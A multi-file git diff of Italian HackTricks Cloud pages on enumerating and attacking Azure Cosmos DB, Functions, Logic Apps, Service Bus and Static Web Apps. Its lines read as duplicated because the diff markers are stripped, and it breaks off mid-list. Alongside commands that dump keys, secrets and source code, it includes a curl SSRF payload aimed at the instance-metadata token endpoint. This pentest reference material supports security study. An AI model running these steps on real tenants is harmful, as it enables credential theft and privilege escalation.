Azure Cosmos DB fornisce più API di database per modellare i dati del mondo reale utilizzando modelli di dati documentali, relazionali, chiave-valore, grafico e a colonne, essendo queste API NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin e Table.
Azure Cosmos DB fornisce più API di database per modellare dati del mondo reale utilizzando modelli di dati documentali, relazionali, chiave-valore, grafico e a colonne, essendo queste API NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin e Table.
Un aspetto chiave di CosmosDB è l'Azure Cosmos Account. **Azure Cosmos Account** funge da punto di accesso ai database. L'account determina impostazioni chiave come distribuzione globale, livelli di coerenza e l'API specifica da utilizzare, come NoSQL. Attraverso l'account, puoi configurare la replica globale per garantire che i dati siano disponibili in più regioni per un accesso a bassa latenza. Inoltre, puoi scegliere un livello di coerenza che bilancia tra prestazioni e accuratezza dei dati, con opzioni che vanno da Strong a Eventual consistency.
@@ -33,7 +33,7 @@ https://<Account-Name>.documents.azure.com:443/
{% endcode %}
#### Database
All'interno di un account, puoi creare uno o più database, che fungono da raggruppamenti logici di contenitori. Un database agisce come un confine per la gestione delle risorse e dei permessi degli utenti. I database possono condividere la capacità di throughput provisionato tra i loro contenitori o allocare throughput dedicato a contenitori individuali.
All'interno di un account, puoi creare uno o più database, che fungono da raggruppamenti logici di contenitori. Un database agisce come un confine per la gestione delle risorse e i permessi degli utenti. I database possono condividere la capacità di throughput provisionata tra i loro contenitori o allocare throughput dedicato a contenitori individuali.
#### Contenitori
L'unità fondamentale di archiviazione dei dati è il contenitore, che contiene documenti JSON ed è automaticamente indicizzato per query efficienti. I contenitori sono elastici e scalabili e distribuiti su partizioni, che sono determinate da una chiave di partizione definita dall'utente. La chiave di partizione è fondamentale per garantire prestazioni ottimali e una distribuzione uniforme dei dati. Ad esempio, un contenitore potrebbe memorizzare dati dei clienti, con "customerId" come chiave di partizione.
@@ -173,7 +173,7 @@ print(item)
```
{% endcode %}
Un altro modo per stabilire una connessione è utilizzare il **DefaultAzureCredential()**. È sufficiente effettuare il login (az login) con l'account che ha i permessi ed eseguirlo. In questo caso deve essere effettuata un'assegnazione di ruolo, dando i permessi necessari (vedi per mor)
Un altro modo per stabilire una connessione è utilizzare il **DefaultAzureCredential()**. È sufficiente effettuare il login (az login) con l'account che ha i permessi e eseguirlo. In questo caso deve essere effettuata un'assegnazione di ruolo, dando i permessi necessari (vedi per mor)
{% code overflow="wrap" %}
```python
@@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name <AccountName> --database-name
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}

View File

@@ -46,7 +46,7 @@ Utilizzando un trigger HTTP:
È possibile configurare variabili d'ambiente all'interno di un'app, che potrebbero contenere informazioni sensibili. Inoltre, per impostazione predefinita, le variabili d'ambiente **`AzureWebJobsStorage`** e **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (tra le altre) vengono create. Queste sono particolarmente interessanti perché **contengono la chiave dell'account per controllare con PERMESSI COMPLETI l'account di archiviazione contenente i dati dell'applicazione**. Queste impostazioni sono anche necessarie per eseguire il codice dall'Account di Archiviazione.
Queste variabili d'ambiente o parametri di configurazione controllano anche come la Funzione esegue il codice, ad esempio se **`WEBSITE_RUN_FROM_PACKAGE`** esiste, indicherà l'URL in cui si trova il codice dell'applicazione.
Queste variabili d'ambiente o parametri di configurazione controllano anche come la Funzione esegue il codice, ad esempio se **`WEBSITE_RUN_FROM_PACKAGE`** esiste, indicherà l'URL dove si trova il codice dell'applicazione.
### **Sandbox della Funzione**
@@ -58,7 +58,7 @@ In una **funzione Windows** che utilizza NodeJS il codice si trovava in **`C:\ho
Proprio come [**VM**](vms/index.html), le Funzioni possono avere **Identità Gestite** di 2 tipi: Assegnate dal sistema e Assegnate dall'utente.
L'**identità assegnata dal sistema** sarà un'identità gestita che **solo la funzione** che l'ha assegnata potrà utilizzare, mentre le identità gestite **assegnate dall'utente** sono identità gestite che **qualsiasi altro servizio Azure potrà utilizzare**.
L'**identità assegnata dal sistema** sarà un'identità gestita che **solo la funzione** a cui è assegnata potrà utilizzare, mentre le identità gestite **assegnate dall'utente** sono identità gestite che **qualsiasi altro servizio Azure potrà utilizzare**.
> [!NOTE]
> Proprio come in [**VM**](vms/index.html), le Funzioni possono avere **1 identità gestita assegnata dal sistema** e **diverse identità assegnate dall'utente**, quindi è sempre importante cercare di trovare tutte se comprometti la funzione perché potresti essere in grado di aumentare i privilegi a diverse identità gestite da una sola Funzione.
@@ -87,7 +87,7 @@ Quando si crea un endpoint all'interno di una funzione utilizzando un **trigger
- **Chiavi di Funzione:** Le chiavi di funzione possono essere predefinite o definite dall'utente e sono progettate per concedere accesso esclusivamente a **specifici endpoint di funzione** all'interno di una Function App consentendo un accesso più dettagliato sugli endpoint.
- **Chiavi Host:** Le chiavi host, che possono essere anch'esse predefinite o definite dall'utente, forniscono accesso a **tutti gli endpoint di funzione all'interno di una Function App con livello di accesso FUNCTION**.
- **Chiave Master:** La chiave master (`_master`) funge da chiave amministrativa che offre permessi elevati, incluso l'accesso a tutti gli endpoint di funzione (incluso il livello di accesso ADMIN). Questa **chiave non può essere revocata.**
- **Chiavi di Sistema:** Le chiavi di sistema sono **gestite da estensioni specifiche** e sono necessarie per accedere agli endpoint webhook utilizzati dai componenti interni. Esempi includono il trigger Event Grid e le Funzioni Durature, che utilizzano chiavi di sistema per interagire in modo sicuro con le rispettive API.
- **Chiavi di Sistema:** Le chiavi di sistema sono **gestite da specifiche estensioni** e sono necessarie per accedere agli endpoint webhook utilizzati dai componenti interni. Esempi includono il trigger Event Grid e le Funzioni Durature, che utilizzano chiavi di sistema per interagire in modo sicuro con le rispettive API.
> [!TIP]
> Esempio per accedere a un endpoint API di funzione utilizzando una chiave:
@@ -204,6 +204,10 @@ Non tutti i piani consentono di distribuire container, ma per quelli che lo fann
Inoltre, **nessun codice sorgente sarà memorizzato nell'account di archiviazione** relativo alla funzione poiché non è necessario.
## Enumerazione
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List all the functions
az functionapp list
@@ -249,7 +253,31 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
## Elevazione dei privilegi
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.Functions
# Lists all Function Apps in the current subscription or in a specific resource group.
Get-AzFunctionApp -ResourceGroupName <String>
# Displays the regions where Azure Function Apps are available for deployment.
Get-AzFunctionAppAvailableLocation
# Retrieves details about Azure Function App plans in a subscription or resource group.
Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
# Retrieves the app settings for a specific Azure Function App.
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Escalation dei privilegi
{{#ref}}
../az-privilege-escalation/az-functions-app-privesc.md

View File

@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Informazioni di Base
## Informazioni di base
Azure Logic Apps è un servizio basato su cloud fornito da Microsoft Azure che consente agli sviluppatori di **creare e eseguire flussi di lavoro che integrano vari servizi**, fonti di dati e applicazioni. Questi flussi di lavoro sono progettati per **automatizzare i processi aziendali**, orchestrare attività e eseguire integrazioni di dati tra diverse piattaforme.
@@ -10,8 +10,8 @@ Logic Apps offre un designer visivo per creare flussi di lavoro con un **ampia g
### Esempi
- **Automazione dei Data Pipeline**: Logic Apps può automatizzare **processi di trasferimento e trasformazione dei dati** in combinazione con Azure Data Factory. Questo è utile per creare pipeline di dati scalabili e affidabili che spostano e trasformano i dati tra vari archivi di dati, come Azure SQL Database e Azure Blob Storage, supportando le operazioni di analisi e business intelligence.
- **Integrazione con Azure Functions**: Logic Apps può lavorare insieme ad Azure Functions per sviluppare **applicazioni sofisticate e basate su eventi che scalano secondo necessità** e si integrano perfettamente con altri servizi Azure. Un esempio di caso d'uso è utilizzare un Logic App per attivare una Azure Function in risposta a determinati eventi, come cambiamenti in un account di Azure Storage, consentendo un'elaborazione dinamica dei dati.
- **Automatizzare i pipeline di dati**: Logic Apps può automatizzare **i processi di trasferimento e trasformazione dei dati** in combinazione con Azure Data Factory. Questo è utile per creare pipeline di dati scalabili e affidabili che spostano e trasformano i dati tra vari archivi di dati, come Azure SQL Database e Azure Blob Storage, supportando le operazioni di analisi e business intelligence.
- **Integrazione con Azure Functions**: Logic Apps può lavorare insieme ad Azure Functions per sviluppare **applicazioni sofisticate e basate su eventi che scalano secondo necessità** e si integrano perfettamente con altri servizi Azure. Un esempio di caso d'uso è utilizzare un Logic App per attivare una Azure Function in risposta a determinati eventi, come cambiamenti in un account di archiviazione Azure, consentendo un'elaborazione dinamica dei dati.
### Visualizza un LogicAPP
@@ -30,34 +30,260 @@ Ad esempio, qualcosa del genere non restituirà il token:
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Opzioni di hosting
Ci sono diverse opzioni di hosting:
* **Consumption**
- **Multi-tenant**: fornisce risorse di calcolo condivise, opera nel cloud pubblico e segue un modello di prezzo pay-per-operation. Questo è ideale per carichi di lavoro leggeri e convenienti.
* **Standard**
- **Workflow Service Plan**: risorse di calcolo dedicate con integrazione VNET per il networking e addebiti per ogni istanza del piano di servizio workflow. È adatto per carichi di lavoro più esigenti che richiedono un maggiore controllo.
- **App Service Environment V3** risorse di calcolo dedicate con piena isolamento e scalabilità. Si integra anche con VNET per il networking e utilizza un modello di prezzo basato sulle istanze di App Service all'interno dell'ambiente. Questo è ideale per applicazioni su scala aziendale che necessitano di elevato isolamento.
- **Hybrid** progettato per l'elaborazione locale e il supporto multi-cloud. Consente risorse di calcolo gestite dal cliente con accesso alla rete locale e utilizza Kubernetes Event-Driven Autoscaling (KEDA).
### Enumerazione
{{#tabs }}
{{#tab name="az cli" }}
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
# Get Logic App config
az logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
# Get service ppal used
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
```
{{#endtab }}
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
{{#tab name="Az PowerSHell" }}
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
az rest \
--method GET \
--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```bash
Get-Command -Module Az.LogicApp
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
# Get Logic App config
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Definition | ConvertTo-Json
# Get service ppal used
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
```
{{#endtab }}
{{#endtabs }}
{{#include ../../../banners/hacktricks-training.md}}
# Get details of a specific Logic App workflow run action
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"
# Get the run history for a specific Logic App
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
# Get details about triggers for a specific Logic App
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
# Get the callback URL for a specific trigger in a Logic App
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"
# Get the history of a specific trigger in a Logic App
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
### Account di Integrazione
**Account di Integrazione**, sono una funzionalità di Azure Logic Apps. Gli Account di Integrazione vengono utilizzati per facilitare integrazioni a livello aziendale abilitando capacità B2B avanzate, come EDI, AS2 e gestione degli schemi XML. Gli Account di Integrazione sono un contenitore in Azure che memorizza i seguenti artefatti utilizzati per le Logic Apps:
* Schemi: Gestisci gli schemi XML per convalidare e elaborare i messaggi nel tuo account di integrazione.
* Mappe: Configura trasformazioni basate su XSLT per convertire i formati dei dati all'interno dei tuoi flussi di lavoro di integrazione.
* Assemblaggi: Gestisci gli assemblaggi dell'account di integrazione per semplificare la logica e l'elaborazione dei dati.
* Certificati: Gestisci i certificati per crittografare e firmare i messaggi, garantendo comunicazioni sicure.
* Partner: Gestisci le informazioni sui partner commerciali per le transazioni B2B, abilitando integrazioni senza soluzione di continuità.
* Accordi: Configura regole e impostazioni per lo scambio di dati con i partner commerciali (ad es., EDI, AS2).
* Configurazioni Batch: Gestisci le configurazioni di elaborazione batch per raggruppare ed elaborare i messaggi in modo efficiente.
* RosettaNet PIP: Configura i Processi di Interfaccia Partner RosettaNet (PIP) per standardizzare la comunicazione B2B.
#### Enumerazione
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.LogicApp
# Retrieve details of an integration account
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>
# Retrieve the callback URL of an integration account
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>
# Retrieve details of a specific agreement in an integration account
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>
# Retrieve details of a specific assembly in an integration account
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>
# Retrieve details of a specific batch configuration in an integration account
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>
# Retrieve details of a specific certificate in an integration account
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>
# Retrieve details of a specific map in an integration account
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>
# Retrieve details of a specific partner in an integration account
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>
# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Escalation dei privilegi
Stesso metodo di privesc delle logic apps:
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
{% endcontent-ref %}
## Post Exploitation
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
{% endcontent-ref %}
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View File

@@ -28,7 +28,7 @@ Alcune funzioni avanzate sono:
- **Consegna Programmata**: Ritarda l'elaborazione dei messaggi per compiti futuri.
- **Rinvio dei Messaggi**: Posticipa il recupero dei messaggi fino a quando non è pronto.
- **Transazioni**: Raggruppa operazioni in esecuzione atomica.
- **Filtri e Azioni**: Applica regole per filtrare o annotare i messaggi.
- **Filtri & Azioni**: Applica regole per filtrare o annotare i messaggi.
- **Auto-Cancellazione in Idle**: Elimina le code dopo inattività (min: 5 minuti).
- **Rilevamento dei Duplicati**: Rimuove messaggi duplicati durante i reinvii.
- **Cancellazione in Batch**: Elimina in blocco messaggi scaduti o non necessari.
@@ -38,9 +38,9 @@ Alcune funzioni avanzate sono:
Le Politiche SAS definiscono i permessi di accesso per le entità del namespace di Azure Service Bus (La più importante), code e argomenti. Ogni politica ha i seguenti componenti:
- **Permessi**: Caselle di controllo per specificare i livelli di accesso:
- Gestire: Concede il pieno controllo sull'entità, inclusa la configurazione e la gestione dei permessi.
- Inviare: Consente di inviare messaggi all'entità.
- Ascoltare: Consente di ricevere messaggi dall'entità.
- Gestisci: Concede il pieno controllo sull'entità, inclusa la configurazione e la gestione dei permessi.
- Invia: Consente di inviare messaggi all'entità.
- Ascolta: Consente di ricevere messaggi dall'entità.
- **Chiavi Primarie e Secondarie**: Queste sono chiavi crittografiche utilizzate per generare token sicuri per autenticare l'accesso.
- **Stringhe di Connessione Primarie e Secondarie**: Stringhe di connessione preconfigurate che includono l'endpoint e la chiave per un uso facile nelle applicazioni.
- **ID Politica SAS ARM**: Il percorso di Azure Resource Manager (ARM) per la politica per identificazione programmatica.
@@ -50,6 +50,10 @@ Le Politiche SAS definiscono i permessi di accesso per le entità del namespace
sku, regola di autorizzazione,
### Enumerazione
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -77,13 +81,65 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.ServiceBus
# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations.
Get-AzServiceBusNamespaceV2 -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
# Retrieves the authorization rules for a Service Bus namespace, queue, or topic.
Get-AzServiceBusAuthorizationRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled.
Get-AzServiceBusGeoDRConfiguration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace.
Get-AzServiceBusKey -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <RuleName>
# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress.
Get-AzServiceBusMigration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves properties and details about a Service Bus namespace.
Get-AzServiceBusNamespace -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules.
Get-AzServiceBusNetworkRuleSet -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves private endpoint connections for a Service Bus namespace.
Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves private link resources associated with a Service Bus namespace.
Get-AzServiceBusPrivateLink -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves details of a specified queue in a Service Bus namespace.
Get-AzServiceBusQueue -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <QueueName>
# Retrieves rules (filters and actions) for a subscription under a Service Bus topic.
Get-AzServiceBusRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName> -SubscriptionName <SubscriptionName>
# Retrieves details of subscriptions for a specified Service Bus topic.
Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName>
# Retrieves details of a specified topic in a Service Bus namespace.
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
### Escalation dei privilegi
{{#ref}}
../az-privilege-escalation/az-servicebus-privesc.md
{{#endref}}
### Post Sfruttamento
### Post Exploitation
{{#ref}}
../az-post-exploitation/az-servicebus-post-exploitation.md

View File

@@ -65,17 +65,21 @@ Alcuni esempi:
Nota come sia possibile **proteggere un percorso con un ruolo**, quindi, gli utenti dovranno autenticarsi nell'app e ricevere quel ruolo per accedere al percorso. È anche possibile **creare inviti** che concedono ruoli specifici a utenti specifici che accedono tramite EntraID, Facebook, GitHub, Google, Twitter, il che potrebbe essere utile per elevare i privilegi all'interno dell'app.
> [!TIP]
> Nota che è possibile configurare l'App in modo che **le modifiche al file `staticwebapp.config.json`** non vengano accettate. In questo caso, potrebbe non essere sufficiente cambiare solo il file da Github, ma anche **cambiare l'impostazione nell'App**.
> Nota che è possibile configurare l'App in modo che **le modifiche al file `staticwebapp.config.json`** non vengano accettate. In questo caso, potrebbe non essere sufficiente cambiare il file da Github, ma anche **modificare l'impostazione nell'App**.
L'URL di staging ha questo formato: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` come: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
### Managed Identities
### Identità Gestite
Azure Static Web Apps può essere configurato per utilizzare **managed identities**, tuttavia, come menzionato in [questa FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-), sono supportate solo per **estrarre segreti da Azure Key Vault per scopi di autenticazione, non per accedere ad altre risorse Azure**.
Azure Static Web Apps può essere configurato per utilizzare **identità gestite**, tuttavia, come menzionato in [questa FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-), sono supportate solo per **estrarre segreti da Azure Key Vault per scopi di autenticazione, non per accedere ad altre risorse Azure**.
Per ulteriori informazioni, puoi trovare una guida di Azure su come utilizzare un segreto del vault in un'app statica su https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
Per ulteriori informazioni puoi trovare una guida di Azure su come utilizzare un segreto del vault in un'app statica su https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
## Enumeration
## Enumerazione
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List Static Webapps
az staticwebapp list --output table
@@ -107,13 +111,66 @@ az rest --method POST \
# Check connected backends
az staticwebapp backends show --name <name> --resource-group <res-group>
```
## Esempi per generare Web App
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.Websites
# Retrieves details of a specific Static Web App in the specified resource group.
Get-AzStaticWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the build details for a specific Static Web App.
Get-AzStaticWebAppBuild -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the application settings for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves functions for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildFunction -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves function app settings for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves the configured roles for a Static Web App.
Get-AzStaticWebAppConfiguredRole -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the custom domains configured for a Static Web App.
Get-AzStaticWebAppCustomDomain -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves details of the functions associated with a Static Web App.
Get-AzStaticWebAppFunction -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the app settings for the function app associated with a Static Web App.
Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the secrets for a Static Web App.
Get-AzStaticWebAppSecret -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves general app settings for a Static Web App.
Get-AzStaticWebAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves user details for a Static Web App with a specified authentication provider.
